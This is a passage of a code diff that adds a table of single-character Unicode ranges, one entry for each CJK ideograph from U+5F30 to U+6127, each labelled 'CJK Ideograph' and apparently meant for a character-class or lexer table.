+ ["\u5F30", "\u5F30"], /* CJK Ideograph */
+ ["\u5F31", "\u5F31"], /* CJK Ideograph */
+ ["\u5F32", "\u5F32"], /* CJK Ideograph */
+ ["\u5F33", "\u5F33"], /* CJK Ideograph */
+ ["\u5F34", "\u5F34"], /* CJK Ideograph */
+ ["\u5F35", "\u5F35"], /* CJK Ideograph */
+ ["\u5F36", "\u5F36"], /* CJK Ideograph */
+ ["\u5F37", "\u5F37"], /* CJK Ideograph */
+ ["\u5F38", "\u5F38"], /* CJK Ideograph */
+ ["\u5F39", "\u5F39"], /* CJK Ideograph */
+ ["\u5F3A", "\u5F3A"], /* CJK Ideograph */
+ ["\u5F3B", "\u5F3B"], /* CJK Ideograph */
+ ["\u5F3C", "\u5F3C"], /* CJK Ideograph */
+ ["\u5F3D", "\u5F3D"], /* CJK Ideograph */
+ ["\u5F3E", "\u5F3E"], /* CJK Ideograph */
+ ["\u5F3F", "\u5F3F"], /* CJK Ideograph */
+ ["\u5F40", "\u5F40"], /* CJK Ideograph */
+ ["\u5F41", "\u5F41"], /* CJK Ideograph */
+ ["\u5F42", "\u5F42"], /* CJK Ideograph */
+ ["\u5F43", "\u5F43"], /* CJK Ideograph */
+ ["\u5F44", "\u5F44"], /* CJK Ideograph */
+ ["\u5F45", "\u5F45"], /* CJK Ideograph */
+ ["\u5F46", "\u5F46"], /* CJK Ideograph */
+ ["\u5F47", "\u5F47"], /* CJK Ideograph */
+ ["\u5F48", "\u5F48"], /* CJK Ideograph */
+ ["\u5F49", "\u5F49"], /* CJK Ideograph */
+ ["\u5F4A", "\u5F4A"], /* CJK Ideograph */
+ ["\u5F4B", "\u5F4B"], /* CJK Ideograph */
+ ["\u5F4C", "\u5F4C"], /* CJK Ideograph */
+ ["\u5F4D", "\u5F4D"], /* CJK Ideograph */
+ ["\u5F4E", "\u5F4E"], /* CJK Ideograph */
+ ["\u5F4F", "\u5F4F"], /* CJK Ideograph */
+ ["\u5F50", "\u5F50"], /* CJK Ideograph */
+ ["\u5F51", "\u5F51"], /* CJK Ideograph */
+ ["\u5F52", "\u5F52"], /* CJK Ideograph */
+ ["\u5F53", "\u5F53"], /* CJK Ideograph */
+ ["\u5F54", "\u5F54"], /* CJK Ideograph */
+ ["\u5F55", "\u5F55"], /* CJK Ideograph */
+ ["\u5F56", "\u5F56"], /* CJK Ideograph */
+ ["\u5F57", "\u5F57"], /* CJK Ideograph */
+ ["\u5F58", "\u5F58"], /* CJK Ideograph */
+ ["\u5F59", "\u5F59"], /* CJK Ideograph */
+ ["\u5F5A", "\u5F5A"], /* CJK Ideograph */
+ ["\u5F5B", "\u5F5B"], /* CJK Ideograph */
+ ["\u5F5C", "\u5F5C"], /* CJK Ideograph */
+ ["\u5F5D", "\u5F5D"], /* CJK Ideograph */
+ ["\u5F5E", "\u5F5E"], /* CJK Ideograph */
+ ["\u5F5F", "\u5F5F"], /* CJK Ideograph */
+ ["\u5F60", "\u5F60"], /* CJK Ideograph */
+ ["\u5F61", "\u5F61"], /* CJK Ideograph */
+ ["\u5F62", "\u5F62"], /* CJK Ideograph */
+ ["\u5F63", "\u5F63"], /* CJK Ideograph */
+ ["\u5F64", "\u5F64"], /* CJK Ideograph */
+ ["\u5F65", "\u5F65"], /* CJK Ideograph */
+ ["\u5F66", "\u5F66"], /* CJK Ideograph */
+ ["\u5F67", "\u5F67"], /* CJK Ideograph */
+ ["\u5F68", "\u5F68"], /* CJK Ideograph */
+ ["\u5F69", "\u5F69"], /* CJK Ideograph */
+ ["\u5F6A", "\u5F6A"], /* CJK Ideograph */
+ ["\u5F6B", "\u5F6B"], /* CJK Ideograph */
+ ["\u5F6C", "\u5F6C"], /* CJK Ideograph */
+ ["\u5F6D", "\u5F6D"], /* CJK Ideograph */
+ ["\u5F6E", "\u5F6E"], /* CJK Ideograph */
+ ["\u5F6F", "\u5F6F"], /* CJK Ideograph */
+ ["\u5F70", "\u5F70"], /* CJK Ideograph */
+ ["\u5F71", "\u5F71"], /* CJK Ideograph */
+ ["\u5F72", "\u5F72"], /* CJK Ideograph */
+ ["\u5F73", "\u5F73"], /* CJK Ideograph */
+ ["\u5F74", "\u5F74"], /* CJK Ideograph */
+ ["\u5F75", "\u5F75"], /* CJK Ideograph */
+ ["\u5F76", "\u5F76"], /* CJK Ideograph */
+ ["\u5F77", "\u5F77"], /* CJK Ideograph */
+ ["\u5F78", "\u5F78"], /* CJK Ideograph */
+ ["\u5F79", "\u5F79"], /* CJK Ideograph */
+ ["\u5F7A", "\u5F7A"], /* CJK Ideograph */
+ ["\u5F7B", "\u5F7B"], /* CJK Ideograph */
+ ["\u5F7C", "\u5F7C"], /* CJK Ideograph */
+ ["\u5F7D", "\u5F7D"], /* CJK Ideograph */
+ ["\u5F7E", "\u5F7E"], /* CJK Ideograph */
+ ["\u5F7F", "\u5F7F"], /* CJK Ideograph */
+ ["\u5F80", "\u5F80"], /* CJK Ideograph */
+ ["\u5F81", "\u5F81"], /* CJK Ideograph */
+ ["\u5F82", "\u5F82"], /* CJK Ideograph */
+ ["\u5F83", "\u5F83"], /* CJK Ideograph */
+ ["\u5F84", "\u5F84"], /* CJK Ideograph */
+ ["\u5F85", "\u5F85"], /* CJK Ideograph */
+ ["\u5F86", "\u5F86"], /* CJK Ideograph */
+ ["\u5F87", "\u5F87"], /* CJK Ideograph */
+ ["\u5F88", "\u5F88"], /* CJK Ideograph */
+ ["\u5F89", "\u5F89"], /* CJK Ideograph */
+ ["\u5F8A", "\u5F8A"], /* CJK Ideograph */
+ ["\u5F8B", "\u5F8B"], /* CJK Ideograph */
+ ["\u5F8C", "\u5F8C"], /* CJK Ideograph */
+ ["\u5F8D", "\u5F8D"], /* CJK Ideograph */
+ ["\u5F8E", "\u5F8E"], /* CJK Ideograph */
+ ["\u5F8F", "\u5F8F"], /* CJK Ideograph */
+ ["\u5F90", "\u5F90"], /* CJK Ideograph */
+ ["\u5F91", "\u5F91"], /* CJK Ideograph */
+ ["\u5F92", "\u5F92"], /* CJK Ideograph */
+ ["\u5F93", "\u5F93"], /* CJK Ideograph */
+ ["\u5F94", "\u5F94"], /* CJK Ideograph */
+ ["\u5F95", "\u5F95"], /* CJK Ideograph */
+ ["\u5F96", "\u5F96"], /* CJK Ideograph */
+ ["\u5F97", "\u5F97"], /* CJK Ideograph */
+ ["\u5F98", "\u5F98"], /* CJK Ideograph */
+ ["\u5F99", "\u5F99"], /* CJK Ideograph */
+ ["\u5F9A", "\u5F9A"], /* CJK Ideograph */
+ ["\u5F9B", "\u5F9B"], /* CJK Ideograph */
+ ["\u5F9C", "\u5F9C"], /* CJK Ideograph */
+ ["\u5F9D", "\u5F9D"], /* CJK Ideograph */
+ ["\u5F9E", "\u5F9E"], /* CJK Ideograph */
+ ["\u5F9F", "\u5F9F"], /* CJK Ideograph */
+ ["\u5FA0", "\u5FA0"], /* CJK Ideograph */
+ ["\u5FA1", "\u5FA1"], /* CJK Ideograph */
+ ["\u5FA2", "\u5FA2"], /* CJK Ideograph */
+ ["\u5FA3", "\u5FA3"], /* CJK Ideograph */
+ ["\u5FA4", "\u5FA4"], /* CJK Ideograph */
+ ["\u5FA5", "\u5FA5"], /* CJK Ideograph */
+ ["\u5FA6", "\u5FA6"], /* CJK Ideograph */
+ ["\u5FA7", "\u5FA7"], /* CJK Ideograph */
+ ["\u5FA8", "\u5FA8"], /* CJK Ideograph */
+ ["\u5FA9", "\u5FA9"], /* CJK Ideograph */
+ ["\u5FAA", "\u5FAA"], /* CJK Ideograph */
+ ["\u5FAB", "\u5FAB"], /* CJK Ideograph */
+ ["\u5FAC", "\u5FAC"], /* CJK Ideograph */
+ ["\u5FAD", "\u5FAD"], /* CJK Ideograph */
+ ["\u5FAE", "\u5FAE"], /* CJK Ideograph */
+ ["\u5FAF", "\u5FAF"], /* CJK Ideograph */
+ ["\u5FB0", "\u5FB0"], /* CJK Ideograph */
+ ["\u5FB1", "\u5FB1"], /* CJK Ideograph */
+ ["\u5FB2", "\u5FB2"], /* CJK Ideograph */
+ ["\u5FB3", "\u5FB3"], /* CJK Ideograph */
+ ["\u5FB4", "\u5FB4"], /* CJK Ideograph */
+ ["\u5FB5", "\u5FB5"], /* CJK Ideograph */
+ ["\u5FB6", "\u5FB6"], /* CJK Ideograph */
+ ["\u5FB7", "\u5FB7"], /* CJK Ideograph */
+ ["\u5FB8", "\u5FB8"], /* CJK Ideograph */
+ ["\u5FB9", "\u5FB9"], /* CJK Ideograph */
+ ["\u5FBA", "\u5FBA"], /* CJK Ideograph */
+ ["\u5FBB", "\u5FBB"], /* CJK Ideograph */
+ ["\u5FBC", "\u5FBC"], /* CJK Ideograph */
+ ["\u5FBD", "\u5FBD"], /* CJK Ideograph */
+ ["\u5FBE", "\u5FBE"], /* CJK Ideograph */
+ ["\u5FBF", "\u5FBF"], /* CJK Ideograph */
+ ["\u5FC0", "\u5FC0"], /* CJK Ideograph */
+ ["\u5FC1", "\u5FC1"], /* CJK Ideograph */
+ ["\u5FC2", "\u5FC2"], /* CJK Ideograph */
+ ["\u5FC3", "\u5FC3"], /* CJK Ideograph */
+ ["\u5FC4", "\u5FC4"], /* CJK Ideograph */
+ ["\u5FC5", "\u5FC5"], /* CJK Ideograph */
+ ["\u5FC6", "\u5FC6"], /* CJK Ideograph */
+ ["\u5FC7", "\u5FC7"], /* CJK Ideograph */
+ ["\u5FC8", "\u5FC8"], /* CJK Ideograph */
+ ["\u5FC9", "\u5FC9"], /* CJK Ideograph */
+ ["\u5FCA", "\u5FCA"], /* CJK Ideograph */
+ ["\u5FCB", "\u5FCB"], /* CJK Ideograph */
+ ["\u5FCC", "\u5FCC"], /* CJK Ideograph */
+ ["\u5FCD", "\u5FCD"], /* CJK Ideograph */
+ ["\u5FCE", "\u5FCE"], /* CJK Ideograph */
+ ["\u5FCF", "\u5FCF"], /* CJK Ideograph */
+ ["\u5FD0", "\u5FD0"], /* CJK Ideograph */
+ ["\u5FD1", "\u5FD1"], /* CJK Ideograph */
+ ["\u5FD2", "\u5FD2"], /* CJK Ideograph */
+ ["\u5FD3", "\u5FD3"], /* CJK Ideograph */
+ ["\u5FD4", "\u5FD4"], /* CJK Ideograph */
+ ["\u5FD5", "\u5FD5"], /* CJK Ideograph */
+ ["\u5FD6", "\u5FD6"], /* CJK Ideograph */
+ ["\u5FD7", "\u5FD7"], /* CJK Ideograph */
+ ["\u5FD8", "\u5FD8"], /* CJK Ideograph */
+ ["\u5FD9", "\u5FD9"], /* CJK Ideograph */
+ ["\u5FDA", "\u5FDA"], /* CJK Ideograph */
+ ["\u5FDB", "\u5FDB"], /* CJK Ideograph */
+ ["\u5FDC", "\u5FDC"], /* CJK Ideograph */
+ ["\u5FDD", "\u5FDD"], /* CJK Ideograph */
+ ["\u5FDE", "\u5FDE"], /* CJK Ideograph */
+ ["\u5FDF", "\u5FDF"], /* CJK Ideograph */
+ ["\u5FE0", "\u5FE0"], /* CJK Ideograph */
+ ["\u5FE1", "\u5FE1"], /* CJK Ideograph */
+ ["\u5FE2", "\u5FE2"], /* CJK Ideograph */
+ ["\u5FE3", "\u5FE3"], /* CJK Ideograph */
+ ["\u5FE4", "\u5FE4"], /* CJK Ideograph */
+ ["\u5FE5", "\u5FE5"], /* CJK Ideograph */
+ ["\u5FE6", "\u5FE6"], /* CJK Ideograph */
+ ["\u5FE7", "\u5FE7"], /* CJK Ideograph */
+ ["\u5FE8", "\u5FE8"], /* CJK Ideograph */
+ ["\u5FE9", "\u5FE9"], /* CJK Ideograph */
+ ["\u5FEA", "\u5FEA"], /* CJK Ideograph */
+ ["\u5FEB", "\u5FEB"], /* CJK Ideograph */
+ ["\u5FEC", "\u5FEC"], /* CJK Ideograph */
+ ["\u5FED", "\u5FED"], /* CJK Ideograph */
+ ["\u5FEE", "\u5FEE"], /* CJK Ideograph */
+ ["\u5FEF", "\u5FEF"], /* CJK Ideograph */
+ ["\u5FF0", "\u5FF0"], /* CJK Ideograph */
+ ["\u5FF1", "\u5FF1"], /* CJK Ideograph */
+ ["\u5FF2", "\u5FF2"], /* CJK Ideograph */
+ ["\u5FF3", "\u5FF3"], /* CJK Ideograph */
+ ["\u5FF4", "\u5FF4"], /* CJK Ideograph */
+ ["\u5FF5", "\u5FF5"], /* CJK Ideograph */
+ ["\u5FF6", "\u5FF6"], /* CJK Ideograph */
+ ["\u5FF7", "\u5FF7"], /* CJK Ideograph */
+ ["\u5FF8", "\u5FF8"], /* CJK Ideograph */
+ ["\u5FF9", "\u5FF9"], /* CJK Ideograph */
+ ["\u5FFA", "\u5FFA"], /* CJK Ideograph */
+ ["\u5FFB", "\u5FFB"], /* CJK Ideograph */
+ ["\u5FFC", "\u5FFC"], /* CJK Ideograph */
+ ["\u5FFD", "\u5FFD"], /* CJK Ideograph */
+ ["\u5FFE", "\u5FFE"], /* CJK Ideograph */
+ ["\u5FFF", "\u5FFF"], /* CJK Ideograph */
+ ["\u6000", "\u6000"], /* CJK Ideograph */
+ ["\u6001", "\u6001"], /* CJK Ideograph */
+ ["\u6002", "\u6002"], /* CJK Ideograph */
+ ["\u6003", "\u6003"], /* CJK Ideograph */
+ ["\u6004", "\u6004"], /* CJK Ideograph */
+ ["\u6005", "\u6005"], /* CJK Ideograph */
+ ["\u6006", "\u6006"], /* CJK Ideograph */
+ ["\u6007", "\u6007"], /* CJK Ideograph */
+ ["\u6008", "\u6008"], /* CJK Ideograph */
+ ["\u6009", "\u6009"], /* CJK Ideograph */
+ ["\u600A", "\u600A"], /* CJK Ideograph */
+ ["\u600B", "\u600B"], /* CJK Ideograph */
+ ["\u600C", "\u600C"], /* CJK Ideograph */
+ ["\u600D", "\u600D"], /* CJK Ideograph */
+ ["\u600E", "\u600E"], /* CJK Ideograph */
+ ["\u600F", "\u600F"], /* CJK Ideograph */
+ ["\u6010", "\u6010"], /* CJK Ideograph */
+ ["\u6011", "\u6011"], /* CJK Ideograph */
+ ["\u6012", "\u6012"], /* CJK Ideograph */
+ ["\u6013", "\u6013"], /* CJK Ideograph */
+ ["\u6014", "\u6014"], /* CJK Ideograph */
+ ["\u6015", "\u6015"], /* CJK Ideograph */
+ ["\u6016", "\u6016"], /* CJK Ideograph */
+ ["\u6017", "\u6017"], /* CJK Ideograph */
+ ["\u6018", "\u6018"], /* CJK Ideograph */
+ ["\u6019", "\u6019"], /* CJK Ideograph */
+ ["\u601A", "\u601A"], /* CJK Ideograph */
+ ["\u601B", "\u601B"], /* CJK Ideograph */
+ ["\u601C", "\u601C"], /* CJK Ideograph */
+ ["\u601D", "\u601D"], /* CJK Ideograph */
+ ["\u601E", "\u601E"], /* CJK Ideograph */
+ ["\u601F", "\u601F"], /* CJK Ideograph */
+ ["\u6020", "\u6020"], /* CJK Ideograph */
+ ["\u6021", "\u6021"], /* CJK Ideograph */
+ ["\u6022", "\u6022"], /* CJK Ideograph */
+ ["\u6023", "\u6023"], /* CJK Ideograph */
+ ["\u6024", "\u6024"], /* CJK Ideograph */
+ ["\u6025", "\u6025"], /* CJK Ideograph */
+ ["\u6026", "\u6026"], /* CJK Ideograph */
+ ["\u6027", "\u6027"], /* CJK Ideograph */
+ ["\u6028", "\u6028"], /* CJK Ideograph */
+ ["\u6029", "\u6029"], /* CJK Ideograph */
+ ["\u602A", "\u602A"], /* CJK Ideograph */
+ ["\u602B", "\u602B"], /* CJK Ideograph */
+ ["\u602C", "\u602C"], /* CJK Ideograph */
+ ["\u602D", "\u602D"], /* CJK Ideograph */
+ ["\u602E", "\u602E"], /* CJK Ideograph */
+ ["\u602F", "\u602F"], /* CJK Ideograph */
+ ["\u6030", "\u6030"], /* CJK Ideograph */
+ ["\u6031", "\u6031"], /* CJK Ideograph */
+ ["\u6032", "\u6032"], /* CJK Ideograph */
+ ["\u6033", "\u6033"], /* CJK Ideograph */
+ ["\u6034", "\u6034"], /* CJK Ideograph */
+ ["\u6035", "\u6035"], /* CJK Ideograph */
+ ["\u6036", "\u6036"], /* CJK Ideograph */
+ ["\u6037", "\u6037"], /* CJK Ideograph */
+ ["\u6038", "\u6038"], /* CJK Ideograph */
+ ["\u6039", "\u6039"], /* CJK Ideograph */
+ ["\u603A", "\u603A"], /* CJK Ideograph */
+ ["\u603B", "\u603B"], /* CJK Ideograph */
+ ["\u603C", "\u603C"], /* CJK Ideograph */
+ ["\u603D", "\u603D"], /* CJK Ideograph */
+ ["\u603E", "\u603E"], /* CJK Ideograph */
+ ["\u603F", "\u603F"], /* CJK Ideograph */
+ ["\u6040", "\u6040"], /* CJK Ideograph */
+ ["\u6041", "\u6041"], /* CJK Ideograph */
+ ["\u6042", "\u6042"], /* CJK Ideograph */
+ ["\u6043", "\u6043"], /* CJK Ideograph */
+ ["\u6044", "\u6044"], /* CJK Ideograph */
+ ["\u6045", "\u6045"], /* CJK Ideograph */
+ ["\u6046", "\u6046"], /* CJK Ideograph */
+ ["\u6047", "\u6047"], /* CJK Ideograph */
+ ["\u6048", "\u6048"], /* CJK Ideograph */
+ ["\u6049", "\u6049"], /* CJK Ideograph */
+ ["\u604A", "\u604A"], /* CJK Ideograph */
+ ["\u604B", "\u604B"], /* CJK Ideograph */
+ ["\u604C", "\u604C"], /* CJK Ideograph */
+ ["\u604D", "\u604D"], /* CJK Ideograph */
+ ["\u604E", "\u604E"], /* CJK Ideograph */
+ ["\u604F", "\u604F"], /* CJK Ideograph */
+ ["\u6050", "\u6050"], /* CJK Ideograph */
+ ["\u6051", "\u6051"], /* CJK Ideograph */
+ ["\u6052", "\u6052"], /* CJK Ideograph */
+ ["\u6053", "\u6053"], /* CJK Ideograph */
+ ["\u6054", "\u6054"], /* CJK Ideograph */
+ ["\u6055", "\u6055"], /* CJK Ideograph */
+ ["\u6056", "\u6056"], /* CJK Ideograph */
+ ["\u6057", "\u6057"], /* CJK Ideograph */
+ ["\u6058", "\u6058"], /* CJK Ideograph */
+ ["\u6059", "\u6059"], /* CJK Ideograph */
+ ["\u605A", "\u605A"], /* CJK Ideograph */
+ ["\u605B", "\u605B"], /* CJK Ideograph */
+ ["\u605C", "\u605C"], /* CJK Ideograph */
+ ["\u605D", "\u605D"], /* CJK Ideograph */
+ ["\u605E", "\u605E"], /* CJK Ideograph */
+ ["\u605F", "\u605F"], /* CJK Ideograph */
+ ["\u6060", "\u6060"], /* CJK Ideograph */
+ ["\u6061", "\u6061"], /* CJK Ideograph */
+ ["\u6062", "\u6062"], /* CJK Ideograph */
+ ["\u6063", "\u6063"], /* CJK Ideograph */
+ ["\u6064", "\u6064"], /* CJK Ideograph */
+ ["\u6065", "\u6065"], /* CJK Ideograph */
+ ["\u6066", "\u6066"], /* CJK Ideograph */
+ ["\u6067", "\u6067"], /* CJK Ideograph */
+ ["\u6068", "\u6068"], /* CJK Ideograph */
+ ["\u6069", "\u6069"], /* CJK Ideograph */
+ ["\u606A", "\u606A"], /* CJK Ideograph */
+ ["\u606B", "\u606B"], /* CJK Ideograph */
+ ["\u606C", "\u606C"], /* CJK Ideograph */
+ ["\u606D", "\u606D"], /* CJK Ideograph */
+ ["\u606E", "\u606E"], /* CJK Ideograph */
+ ["\u606F", "\u606F"], /* CJK Ideograph */
+ ["\u6070", "\u6070"], /* CJK Ideograph */
+ ["\u6071", "\u6071"], /* CJK Ideograph */
+ ["\u6072", "\u6072"], /* CJK Ideograph */
+ ["\u6073", "\u6073"], /* CJK Ideograph */
+ ["\u6074", "\u6074"], /* CJK Ideograph */
+ ["\u6075", "\u6075"], /* CJK Ideograph */
+ ["\u6076", "\u6076"], /* CJK Ideograph */
+ ["\u6077", "\u6077"], /* CJK Ideograph */
+ ["\u6078", "\u6078"], /* CJK Ideograph */
+ ["\u6079", "\u6079"], /* CJK Ideograph */
+ ["\u607A", "\u607A"], /* CJK Ideograph */
+ ["\u607B", "\u607B"], /* CJK Ideograph */
+ ["\u607C", "\u607C"], /* CJK Ideograph */
+ ["\u607D", "\u607D"], /* CJK Ideograph */
+ ["\u607E", "\u607E"], /* CJK Ideograph */
+ ["\u607F", "\u607F"], /* CJK Ideograph */
+ ["\u6080", "\u6080"], /* CJK Ideograph */
+ ["\u6081", "\u6081"], /* CJK Ideograph */
+ ["\u6082", "\u6082"], /* CJK Ideograph */
+ ["\u6083", "\u6083"], /* CJK Ideograph */
+ ["\u6084", "\u6084"], /* CJK Ideograph */
+ ["\u6085", "\u6085"], /* CJK Ideograph */
+ ["\u6086", "\u6086"], /* CJK Ideograph */
+ ["\u6087", "\u6087"], /* CJK Ideograph */
+ ["\u6088", "\u6088"], /* CJK Ideograph */
+ ["\u6089", "\u6089"], /* CJK Ideograph */
+ ["\u608A", "\u608A"], /* CJK Ideograph */
+ ["\u608B", "\u608B"], /* CJK Ideograph */
+ ["\u608C", "\u608C"], /* CJK Ideograph */
+ ["\u608D", "\u608D"], /* CJK Ideograph */
+ ["\u608E", "\u608E"], /* CJK Ideograph */
+ ["\u608F", "\u608F"], /* CJK Ideograph */
+ ["\u6090", "\u6090"], /* CJK Ideograph */
+ ["\u6091", "\u6091"], /* CJK Ideograph */
+ ["\u6092", "\u6092"], /* CJK Ideograph */
+ ["\u6093", "\u6093"], /* CJK Ideograph */
+ ["\u6094", "\u6094"], /* CJK Ideograph */
+ ["\u6095", "\u6095"], /* CJK Ideograph */
+ ["\u6096", "\u6096"], /* CJK Ideograph */
+ ["\u6097", "\u6097"], /* CJK Ideograph */
+ ["\u6098", "\u6098"], /* CJK Ideograph */
+ ["\u6099", "\u6099"], /* CJK Ideograph */
+ ["\u609A", "\u609A"], /* CJK Ideograph */
+ ["\u609B", "\u609B"], /* CJK Ideograph */
+ ["\u609C", "\u609C"], /* CJK Ideograph */
+ ["\u609D", "\u609D"], /* CJK Ideograph */
+ ["\u609E", "\u609E"], /* CJK Ideograph */
+ ["\u609F", "\u609F"], /* CJK Ideograph */
+ ["\u60A0", "\u60A0"], /* CJK Ideograph */
+ ["\u60A1", "\u60A1"], /* CJK Ideograph */
+ ["\u60A2", "\u60A2"], /* CJK Ideograph */
+ ["\u60A3", "\u60A3"], /* CJK Ideograph */
+ ["\u60A4", "\u60A4"], /* CJK Ideograph */
+ ["\u60A5", "\u60A5"], /* CJK Ideograph */
+ ["\u60A6", "\u60A6"], /* CJK Ideograph */
+ ["\u60A7", "\u60A7"], /* CJK Ideograph */
+ ["\u60A8", "\u60A8"], /* CJK Ideograph */
+ ["\u60A9", "\u60A9"], /* CJK Ideograph */
+ ["\u60AA", "\u60AA"], /* CJK Ideograph */
+ ["\u60AB", "\u60AB"], /* CJK Ideograph */
+ ["\u60AC", "\u60AC"], /* CJK Ideograph */
+ ["\u60AD", "\u60AD"], /* CJK Ideograph */
+ ["\u60AE", "\u60AE"], /* CJK Ideograph */
+ ["\u60AF", "\u60AF"], /* CJK Ideograph */
+ ["\u60B0", "\u60B0"], /* CJK Ideograph */
+ ["\u60B1", "\u60B1"], /* CJK Ideograph */
+ ["\u60B2", "\u60B2"], /* CJK Ideograph */
+ ["\u60B3", "\u60B3"], /* CJK Ideograph */
+ ["\u60B4", "\u60B4"], /* CJK Ideograph */
+ ["\u60B5", "\u60B5"], /* CJK Ideograph */
+ ["\u60B6", "\u60B6"], /* CJK Ideograph */
+ ["\u60B7", "\u60B7"], /* CJK Ideograph */
+ ["\u60B8", "\u60B8"], /* CJK Ideograph */
+ ["\u60B9", "\u60B9"], /* CJK Ideograph */
+ ["\u60BA", "\u60BA"], /* CJK Ideograph */
+ ["\u60BB", "\u60BB"], /* CJK Ideograph */
+ ["\u60BC", "\u60BC"], /* CJK Ideograph */
+ ["\u60BD", "\u60BD"], /* CJK Ideograph */
+ ["\u60BE", "\u60BE"], /* CJK Ideograph */
+ ["\u60BF", "\u60BF"], /* CJK Ideograph */
+ ["\u60C0", "\u60C0"], /* CJK Ideograph */
+ ["\u60C1", "\u60C1"], /* CJK Ideograph */
+ ["\u60C2", "\u60C2"], /* CJK Ideograph */
+ ["\u60C3", "\u60C3"], /* CJK Ideograph */
+ ["\u60C4", "\u60C4"], /* CJK Ideograph */
+ ["\u60C5", "\u60C5"], /* CJK Ideograph */
+ ["\u60C6", "\u60C6"], /* CJK Ideograph */
+ ["\u60C7", "\u60C7"], /* CJK Ideograph */
+ ["\u60C8", "\u60C8"], /* CJK Ideograph */
+ ["\u60C9", "\u60C9"], /* CJK Ideograph */
+ ["\u60CA", "\u60CA"], /* CJK Ideograph */
+ ["\u60CB", "\u60CB"], /* CJK Ideograph */
+ ["\u60CC", "\u60CC"], /* CJK Ideograph */
+ ["\u60CD", "\u60CD"], /* CJK Ideograph */
+ ["\u60CE", "\u60CE"], /* CJK Ideograph */
+ ["\u60CF", "\u60CF"], /* CJK Ideograph */
+ ["\u60D0", "\u60D0"], /* CJK Ideograph */
+ ["\u60D1", "\u60D1"], /* CJK Ideograph */
+ ["\u60D2", "\u60D2"], /* CJK Ideograph */
+ ["\u60D3", "\u60D3"], /* CJK Ideograph */
+ ["\u60D4", "\u60D4"], /* CJK Ideograph */
+ ["\u60D5", "\u60D5"], /* CJK Ideograph */
+ ["\u60D6", "\u60D6"], /* CJK Ideograph */
+ ["\u60D7", "\u60D7"], /* CJK Ideograph */
+ ["\u60D8", "\u60D8"], /* CJK Ideograph */
+ ["\u60D9", "\u60D9"], /* CJK Ideograph */
+ ["\u60DA", "\u60DA"], /* CJK Ideograph */
+ ["\u60DB", "\u60DB"], /* CJK Ideograph */
+ ["\u60DC", "\u60DC"], /* CJK Ideograph */
+ ["\u60DD", "\u60DD"], /* CJK Ideograph */
+ ["\u60DE", "\u60DE"], /* CJK Ideograph */
+ ["\u60DF", "\u60DF"], /* CJK Ideograph */
+ ["\u60E0", "\u60E0"], /* CJK Ideograph */
+ ["\u60E1", "\u60E1"], /* CJK Ideograph */
+ ["\u60E2", "\u60E2"], /* CJK Ideograph */
+ ["\u60E3", "\u60E3"], /* CJK Ideograph */
+ ["\u60E4", "\u60E4"], /* CJK Ideograph */
+ ["\u60E5", "\u60E5"], /* CJK Ideograph */
+ ["\u60E6", "\u60E6"], /* CJK Ideograph */
+ ["\u60E7", "\u60E7"], /* CJK Ideograph */
+ ["\u60E8", "\u60E8"], /* CJK Ideograph */
+ ["\u60E9", "\u60E9"], /* CJK Ideograph */
+ ["\u60EA", "\u60EA"], /* CJK Ideograph */
+ ["\u60EB", "\u60EB"], /* CJK Ideograph */
+ ["\u60EC", "\u60EC"], /* CJK Ideograph */
+ ["\u60ED", "\u60ED"], /* CJK Ideograph */
+ ["\u60EE", "\u60EE"], /* CJK Ideograph */
+ ["\u60EF", "\u60EF"], /* CJK Ideograph */
+ ["\u60F0", "\u60F0"], /* CJK Ideograph */
+ ["\u60F1", "\u60F1"], /* CJK Ideograph */
+ ["\u60F2", "\u60F2"], /* CJK Ideograph */
+ ["\u60F3", "\u60F3"], /* CJK Ideograph */
+ ["\u60F4", "\u60F4"], /* CJK Ideograph */
+ ["\u60F5", "\u60F5"], /* CJK Ideograph */
+ ["\u60F6", "\u60F6"], /* CJK Ideograph */
+ ["\u60F7", "\u60F7"], /* CJK Ideograph */
+ ["\u60F8", "\u60F8"], /* CJK Ideograph */
+ ["\u60F9", "\u60F9"], /* CJK Ideograph */
+ ["\u60FA", "\u60FA"], /* CJK Ideograph */
+ ["\u60FB", "\u60FB"], /* CJK Ideograph */
+ ["\u60FC", "\u60FC"], /* CJK Ideograph */
+ ["\u60FD", "\u60FD"], /* CJK Ideograph */
+ ["\u60FE", "\u60FE"], /* CJK Ideograph */
+ ["\u60FF", "\u60FF"], /* CJK Ideograph */
+ ["\u6100", "\u6100"], /* CJK Ideograph */
+ ["\u6101", "\u6101"], /* CJK Ideograph */
+ ["\u6102", "\u6102"], /* CJK Ideograph */
+ ["\u6103", "\u6103"], /* CJK Ideograph */
+ ["\u6104", "\u6104"], /* CJK Ideograph */
+ ["\u6105", "\u6105"], /* CJK Ideograph */
+ ["\u6106", "\u6106"], /* CJK Ideograph */
+ ["\u6107", "\u6107"], /* CJK Ideograph */
+ ["\u6108", "\u6108"], /* CJK Ideograph */
+ ["\u6109", "\u6109"], /* CJK Ideograph */
+ ["\u610A", "\u610A"], /* CJK Ideograph */
+ ["\u610B", "\u610B"], /* CJK Ideograph */
+ ["\u610C", "\u610C"], /* CJK Ideograph */
+ ["\u610D", "\u610D"], /* CJK Ideograph */
+ ["\u610E", "\u610E"], /* CJK Ideograph */
+ ["\u610F", "\u610F"], /* CJK Ideograph */
+ ["\u6110", "\u6110"], /* CJK Ideograph */
+ ["\u6111", "\u6111"], /* CJK Ideograph */
+ ["\u6112", "\u6112"], /* CJK Ideograph */
+ ["\u6113", "\u6113"], /* CJK Ideograph */
+ ["\u6114", "\u6114"], /* CJK Ideograph */
+ ["\u6115", "\u6115"], /* CJK Ideograph */
+ ["\u6116", "\u6116"], /* CJK Ideograph */
+ ["\u6117", "\u6117"], /* CJK Ideograph */
+ ["\u6118", "\u6118"], /* CJK Ideograph */
+ ["\u6119", "\u6119"], /* CJK Ideograph */
+ ["\u611A", "\u611A"], /* CJK Ideograph */
+ ["\u611B", "\u611B"], /* CJK Ideograph */
+ ["\u611C", "\u611C"], /* CJK Ideograph */
+ ["\u611D", "\u611D"], /* CJK Ideograph */
+ ["\u611E", "\u611E"], /* CJK Ideograph */
+ ["\u611F", "\u611F"], /* CJK Ideograph */
+ ["\u6120", "\u6120"], /* CJK Ideograph */
+ ["\u6121", "\u6121"], /* CJK Ideograph */
+ ["\u6122", "\u6122"], /* CJK Ideograph */
+ ["\u6123", "\u6123"], /* CJK Ideograph */
+ ["\u6124", "\u6124"], /* CJK Ideograph */
+ ["\u6125", "\u6125"], /* CJK Ideograph */
+ ["\u6126", "\u6126"], /* CJK Ideograph */
+ ["\u6127", "\u6127"], /* CJK Ideograph */
